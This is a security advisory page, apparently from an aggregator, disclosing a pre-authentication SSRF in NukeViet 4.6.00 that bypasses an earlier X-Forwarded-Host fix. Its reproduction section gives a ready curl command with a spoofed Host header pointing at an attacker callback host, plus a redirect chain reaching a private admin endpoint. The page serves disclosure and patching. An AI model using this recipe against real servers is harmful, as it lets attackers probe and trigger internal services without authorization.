high

CVE-2026-94561

Packagist · nukeviet/nukeviet

Summary

NukeViet: Pre-authentication SSRF via incomplete X-Forwarded-Host fix

Severity
high
CVSS
7.2
EPSS
0.6% (p48)
CWE
CWE-918
Also known as
GHSA-8xch-674f-grqr
Published
2026-11-30
Updated
2026-11-30

Advisory details

Summary

NukeViet 4.6.00 remains vulnerable to pre-authentication SSRF despite the fix for CVE-2026-55372 / GHSA-4chg-4752-w88r.

The fix validates the host derived from X-Forwarded-Host, but NukeViet separately retains the ordinary Host header as NV_SERVER_NAME. During server-information cache initialization, set_ini_file() constructs a cURL URL from this unvalidated value and sends the request before validating it.

An unauthenticated attacker can supply the legitimate configured domain in X-Forwarded-Host while placing an attacker-selected destination in Host.

Affected version

Root cause

Reproduction

Use a fresh callback host reachable from the NukeViet server:

curl --http1.1 -i http://TARGET/ \
  -H 'Host: FRESH_CALLBACK_HOST' \
  -H 'X-Forwarded-Host: LEGITIMATE_DOMAIN' \
  -H 'Connection: close'

No session cookie or credentials are required. A 400 Bad Request response is expected because the SSRF occurs before the late host rejection.

The callback receives:

POST /index.php HTTP/1.1
Host: FRESH_CALLBACK_HOST
Referer: http://LEGITIMATE_DOMAIN
Content-Type: application/x-www-form-urlencoded

__serverInfoUpdate=1

Verified impact

In a controlled test, the callback server returned:

HTTP/1.1 302 Found
Location: http://PRIVATE_IP:8081/internal/admin/reload?source=ssrf-proof

NukeViet followed the redirect, and the private service received:

GET /internal/admin/reload?source=ssrf-proof HTTP/1.1
Host: PRIVATE_IP:8081

This proves that an unauthenticated attacker can reach an attacker-selected private HTTP host, port, and path. This could invoke internal administrative endpoints that rely on private-network access as authentication.

The SSRF is blind: response bodies are not returned to the attacker. RCE and response-data theft were not demonstrated.

Remediation

https://github.com/user-attachments/assets/963af555-34d9-4be5-8618-1c70651e20ba

nukeviet_ssrf_poc.py

References

Related advisories

Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.

Check my repo

Summarize with AI

ChatGPTClaudePerplexity

Sources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.